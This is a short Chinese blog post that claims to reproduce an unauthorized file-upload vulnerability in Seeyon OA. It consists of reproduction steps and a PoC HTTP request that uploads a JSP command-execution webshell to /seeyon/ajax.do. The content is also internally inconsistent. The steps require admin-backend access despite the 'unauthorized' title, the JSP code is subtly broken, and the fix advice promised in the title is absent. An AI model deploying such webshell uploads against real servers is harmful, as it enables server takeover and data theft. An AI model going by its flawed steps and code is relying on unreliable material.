致远OA未授权文件上传漏洞复现分析

前端

2023-02-06 19:49:37

致远OA未授权文件上传漏洞：深入分析与修复建议

简介

致远OA作为一款流行的协同办公软件，近来被发现存在一个严重的未授权文件上传漏洞。此漏洞允许恶意用户在未经授权的情况下上传恶意文件到服务器，从而控制服务器或窃取敏感信息。

漏洞原理

致远OA允许用户上传附件到服务器。然而，该软件在附件类型和大小检查方面存在缺陷，使得攻击者可以绕过限制，上传任意文件。

漏洞复现

以下步骤演示如何复现此漏洞：

获取致远OA版本信息并准备一个可执行系统命令的webshell文件。
访问致远OA管理后台，将webshell文件后缀名添加到允许上传的文件类型列表中。
将webshell文件大小设置为小于允许上传的文件大小。
使用文件上传工具将webshell文件上传到服务器。
访问webshell文件的URL，即可执行系统命令并获取敏感信息。

利用POC

以下代码示例演示了如何利用此漏洞：

POST /seeyon/ajax.do HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=---------------------------1666051850718388010689913739

-----------------------------1666051850718388010689913739
Content-Disposition: form-data; name="file"; filename="webshell.jsp"
Content-Type: application/octet-stream

<%@ page import="java.io.*" %><%!class U{static String e(InputStream f, OutputStream w)throws IOException{ byte[] b=new byte[1024]; int l=0; while((l=f.read(b))!=-1) w.write(b,0,l); return null; }public static void main(String[] a)throws IOException{ try{ Process p=Runtime.getRuntime().exec(request.getParameter("c")); e(p.getInputStream(),response.getOutputStream()); e(p.getErrorStream(),response.getOutputStream()); }catch(Exception e){ } } }%>
-----------------------------1666051850718388010689913739--